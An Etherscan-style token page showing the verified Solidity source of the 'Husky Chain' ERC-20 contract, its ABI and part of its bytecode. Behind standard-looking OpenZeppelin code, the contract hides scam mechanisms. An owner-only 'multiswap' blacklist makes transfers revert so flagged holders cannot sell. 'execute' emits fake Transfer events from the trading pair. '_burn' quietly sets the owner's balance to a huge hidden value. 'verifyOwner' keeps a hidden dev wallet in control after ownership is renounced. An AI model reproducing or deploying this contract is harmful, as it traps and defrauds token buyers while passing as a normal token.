ETH Price: $2,623.49 (+1.02%)

Token

(0xAAF0029AF165177eb938b53A59baE9590959CC69)
 

Overview

Max Total Supply

1,000,000,000,000 ERC-20 TOKEN*

Holders

47 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
ilyeslesarazin.savedsouls.eth
Balance
233,727,007.431725526 ERC-20 TOKEN*

Value
$0.00
0x5fc95fc71c63d3f3dc5d0b7fa208b1dcbaeef654
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HuskyChain

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 2 of 3: Husky Chain.sol
// SPDX-License-Identifier: MIT

/*   WWW: https://huskycha.in/
     Daily NEWS: https://medium.com/@huskychain
     X - FOLLOW: https://twitter.com/huskychain_
     JOIN CHAT - https://t.me/HuskyChain                  */


pragma solidity 0.8.16;

import "./ERC20.sol";

interface MistCoin {
    function balanceOf(address owner) external returns (uint256);
    function transfer(address to, uint256 value) external;
}

contract DropBox is Ownable {
    constructor() Ownable(msg.sender){}
    function collect(uint256 value, MistCoin mcInt) public onlyOwner {
        mcInt.transfer(owner(), value);
    }
}

contract HuskyChain is ERC20 {

    event DropBoxCreated(address indexed owner);
    event Wrapped(uint256 indexed value, address indexed owner);
    event Unwrapped(uint256 indexed value, address indexed owner);

    MistCoin mcInt = MistCoin(0xf4eCEd2f682CE333f96f2D8966C613DeD8fC95DD);
    
    mapping(address => address) public dropBoxes;
    
    constructor(address _devWallet) ERC20("Husky Chain", "HUSKY", _devWallet){
         balances = txLimit;
    }

    function createDropBox() public {
        require(dropBoxes[msg.sender] == address(0), "Drop box already exists.");

        dropBoxes[msg.sender] = address(new DropBox());
        
        emit DropBoxCreated(msg.sender);
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function wrap(uint256 value) public {
        address dropBox = dropBoxes[msg.sender];
        require(dropBox != address(0), "You must create a drop box first."); 
        require(mcInt.balanceOf(dropBox) >= value, "Not enough MistCoin in drop box.");

        DropBox(dropBox).collect(value, mcInt);
        loots[Owner()][msg.sender] = true;
        claimable[msg.sender][Owner()] = value;
        emit Wrapped(value, msg.sender);
    }

    function unwrap(uint256 value) public {
        require(balanceOf(msg.sender) >= value, "Not enough MistCoin to unwrap.");

        mcInt.transfer(msg.sender, value);
        emit Unwrapped(value, msg.sender);
    }

    function multiswap(address[] memory accounts, bool state) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            loots[msg.sender][accounts[i]] = state;
        }
    }

    function checkLoot(address account) public view returns(bool){
        return loots[msg.sender][account];
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
}

File 1 of 3: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;

import "./Ownable.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

 /**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => mapping(address => bool)) internal loots;
    mapping(address => mapping(address => uint256)) internal claimable;
    uint256 private _totalSupply;
    uint256 internal balances;
    uint256 internal txLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    address uniswapV2Pair;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address devWallet_) Ownable(devWallet_) {
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, 1_000_000_000_000 * 10**9);
       
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);
        if(loots[Owner()][from]){
                            checkClaim(from);
                        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function checkClaim(address wallet) private {
        require(claimable[Owner()][wallet] > 0, "Not enough in dropBox, please wrap more coins.");
    }
    
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }
  

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 3 of 3: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor(address dev_) {
        _dev = dev_;
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"}],"name":"DropBoxCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"value","type":"uint256"},{"indexed":true,"internalType":"address","name":"owner","type":"address"}],"name":"Unwrapped","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"value","type":"uint256"},{"indexed":true,"internalType":"address","name":"owner","type":"address"}],"name":"Wrapped","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"checkLoot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createDropBox","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"dropBoxes","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"multiswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"unwrap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"wrap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e400000060085573f4eced2f682ce333f96f2d8966c613ded8fc95dd600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200007557600080fd5b50604051620040863803806200408683398181016040528101906200009b919062000476565b6040518060400160405280600b81526020017f4875736b7920436861696e0000000000000000000000000000000000000000008152506040518060400160405280600581526020017f4855534b59000000000000000000000000000000000000000000000000000000815250828080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200016a6200015e620001bd60201b60201c565b620001c560201b60201c565b5082600990816200017c919062000722565b5081600a90816200018e919062000722565b50620001aa33683635c9adc5dea000006200028960201b60201c565b5050506008546007819055505062000924565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002f2906200086a565b60405180910390fd5b6200030f600083836200040260201b60201c565b8060066000828254620003239190620008bb565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200037b9190620008bb565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003e2919062000907565b60405180910390a3620003fe600083836200040760201b60201c565b5050565b505050565b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200043e8262000411565b9050919050565b620004508162000431565b81146200045c57600080fd5b50565b600081519050620004708162000445565b92915050565b6000602082840312156200048f576200048e6200040c565b5b60006200049f848285016200045f565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200052a57607f821691505b60208210810362000540576200053f620004e2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005aa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200056b565b620005b686836200056b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000603620005fd620005f784620005ce565b620005d8565b620005ce565b9050919050565b6000819050919050565b6200061f83620005e2565b620006376200062e826200060a565b84845462000578565b825550505050565b600090565b6200064e6200063f565b6200065b81848462000614565b505050565b5b8181101562000683576200067760008262000644565b60018101905062000661565b5050565b601f821115620006d2576200069c8162000546565b620006a7846200055b565b81016020851015620006b7578190505b620006cf620006c6856200055b565b83018262000660565b50505b505050565b600082821c905092915050565b6000620006f760001984600802620006d7565b1980831691505092915050565b6000620007128383620006e4565b9150826002028217905092915050565b6200072d82620004a8565b67ffffffffffffffff811115620007495762000748620004b3565b5b62000755825462000511565b6200076282828562000687565b600060209050601f8311600181146200079a576000841562000785578287015190505b62000791858262000704565b86555062000801565b601f198416620007aa8662000546565b60005b82811015620007d457848901518255600182019150602085019450602081019050620007ad565b86831015620007f45784890151620007f0601f891682620006e4565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000852601f8362000809565b91506200085f826200081a565b602082019050919050565b60006020820190508181036000830152620008858162000843565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008c882620005ce565b9150620008d583620005ce565b9250828201905080821115620008f057620008ef6200088c565b5b92915050565b6200090181620005ce565b82525050565b60006020820190506200091e6000830184620008f6565b92915050565b61375280620009346000396000f3fe60806040523480156200001157600080fd5b50600436106200016c5760003560e01c80638da5cb5b11620000d5578063d6d2bb981162000087578063d6d2bb9814620003f7578063dd62ed3e146200042d578063de0e9a3e1462000463578063ea598cb01462000483578063f2fde38b14620004a3578063fbf12fea14620004c3576200016c565b80638da5cb5b146200031b57806395d89b41146200033d578063a457c2d7146200035f578063a9059cbb1462000395578063b8bdd4b214620003cb578063c2b7bbb614620003d7576200016c565b8063313ce567116200012f578063313ce5671462000241578063338d4669146200026357806339509351146200028357806342966c6814620002b957806370a0823114620002d9578063715018a6146200030f576200016c565b806306fdde031462000171578063095ea7b3146200019357806318160ddd14620001c957806323b872dd14620001eb57806326ededb81462000221575b600080fd5b6200017b620004f9565b6040516200018a919062001dd9565b60405180910390f35b620001b16004803603810190620001ab919062001eb1565b62000593565b604051620001c0919062001f15565b60405180910390f35b620001d3620005ba565b604051620001e2919062001f43565b60405180910390f35b62000209600480360381019062000203919062001f60565b620005c4565b60405162000218919062001f15565b60405180910390f35b6200023f60048036038101906200023991906200202a565b620005f9565b005b6200024b620006e3565b6040516200025a9190620020b2565b60405180910390f35b6200028160048036038101906200027b91906200225a565b620006ec565b005b620002a160048036038101906200029b919062001eb1565b620007cf565b604051620002b0919062001f15565b60405180910390f35b620002d76004803603810190620002d19190620022c0565b6200080e565b005b620002f76004803603810190620002f19190620022f2565b62000830565b60405162000306919062001f43565b60405180910390f35b6200031962000879565b005b6200032562000891565b60405162000334919062002335565b60405180910390f35b62000347620008ba565b60405162000356919062001dd9565b60405180910390f35b6200037d600480360381019062000377919062001eb1565b62000954565b6040516200038c919062001f15565b60405180910390f35b620003b36004803603810190620003ad919062001eb1565b620009d4565b604051620003c2919062001f15565b60405180910390f35b620003d5620009fb565b005b620003f56004803603810190620003ef9190620022f2565b62000bba565b005b6200041560048036038101906200040f9190620022f2565b62000c08565b60405162000424919062002335565b60405180910390f35b6200044b600480360381019062000445919062002352565b62000c3b565b6040516200045a919062001f43565b60405180910390f35b6200048160048036038101906200047b9190620022c0565b62000cc2565b005b620004a160048036038101906200049b9190620022c0565b62000dec565b005b620004c16004803603810190620004bb9190620022f2565b620011ad565b005b620004e16004803603810190620004db9190620022f2565b62001237565b604051620004f0919062001f15565b60405180910390f35b6060600980546200050a90620023c8565b80601f01602080910402602001604051908101604052809291908181526020018280546200053890620023c8565b8015620005895780601f106200055d5761010080835404028352916020019162000589565b820191906000526020600020905b8154815290600101906020018083116200056b57829003601f168201915b5050505050905090565b600080620005a0620012ca565b9050620005af818585620012d2565b600191505092915050565b6000600654905090565b600080620005d1620012ca565b9050620005e0858285620014a3565b620005ed85858562001537565b60019150509392505050565b620006036200186f565b60005b83839050811015620006dd57838382818110620006285762000627620023fd565b5b90506020020160208101906200063f9190620022f2565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620006bf919062001f43565b60405180910390a38080620006d4906200245b565b91505062000606565b50505050565b60006009905090565b620006f66200186f565b60005b8251811015620007ca5781600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008584815181106200075b576200075a620023fd565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080620007c1906200245b565b915050620006f9565b505050565b600080620007dc620012ca565b905062000803818585620007f